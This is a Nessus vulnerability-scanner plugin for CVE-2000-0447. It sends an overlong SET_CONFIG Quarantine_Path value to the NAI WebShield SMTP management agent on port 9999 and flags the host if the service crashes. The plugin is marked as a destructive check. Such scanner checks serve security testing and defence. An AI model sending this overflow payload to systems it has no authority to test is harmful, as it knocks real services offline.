NAI WebShield SMTP Management Agent SET_CONFIG Overflow

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(10425);
  script_version("1.26");
  script_cvs_date("Date: 2018/07/17 12:00:06");

  script_cve_id("CVE-2000-0447");
  script_bugtraq_id(1254);

  script_name(english:"NAI WebShield SMTP Management Agent SET_CONFIG Overflow");
  script_summary(english:"Determines if the remote NAI WebShield SMTP Management trusts us");

  script_set_attribute(attribute:"synopsis", value:"The remote management service is prone to a buffer overflow.");

  script_set_attribute(attribute:"description", value:
"The remote NAI WebShield SMTP Management tool is vulnerable to a
buffer overflow which allows an attacker to gain execute arbitrary
code on this host when it is issued a too long argument as a
configuration parameter.

In addition to this, it allows an attacker to disable the service at
will.

To re-enable the service :

  - execute regedit

  - edit the registry key 'Quarantine_Path' under
    HKLM\SOFTWARE\Network Associates\TVD\WebShield SMTP\MailScan

  - change its value from 'XXX...XXX' to the valid path to
    the quarantine folder.

  - restart the service");
  script_set_attribute(attribute:"solution", value:
"Filter incoming traffic to this port. You may also restrict the set of
trusted hosts in the configuration console : - go to the 'server'
section - select the 'trusted clients' tab - and set the data
accordingly");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2000/05/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2000/05/27");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"Gain a shell remotely");
  script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");

  script_dependencie("find_service1.nasl", "nai_webshield_info.nasl");
  script_require_keys("nai_webshield_management_agent/available", "Settings/ParanoidReport");
  script_require_ports(9999);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = 9999;
if(get_port_state(port))
{
   soc = open_sock_tcp(port);
   if(soc)
   {
     req = string("GET_CONFIG\r\n");
     send(socket:soc, data:req);
     r = recv(socket:soc, length:2048);
     if ( ! r ) exit(0);
     close(soc);

     soc = open_sock_tcp(port);
     if ( ! soc ) exit(0);

     req = string("SET_CONFIG\r\nQuarantine_Path='", crap(3000), "'\r\n\r\n");
     send(socket:soc, data:req);
     r = recv(socket:soc, length:2048);
     if ( ! r ) exit(0);
     close(soc);
     sleep(2);

     soc2 = open_sock_tcp(port);
     if(!soc2)
     {
       security_hole(port);
     }
     else
     {
      req = string("GET_CONFIG\r\n");
      send(socket:soc2, data:req);
      r2 = recv(socket:soc2, length:1024);
      close(soc2);
      if(!r2)security_hole(port);
      }
   }
}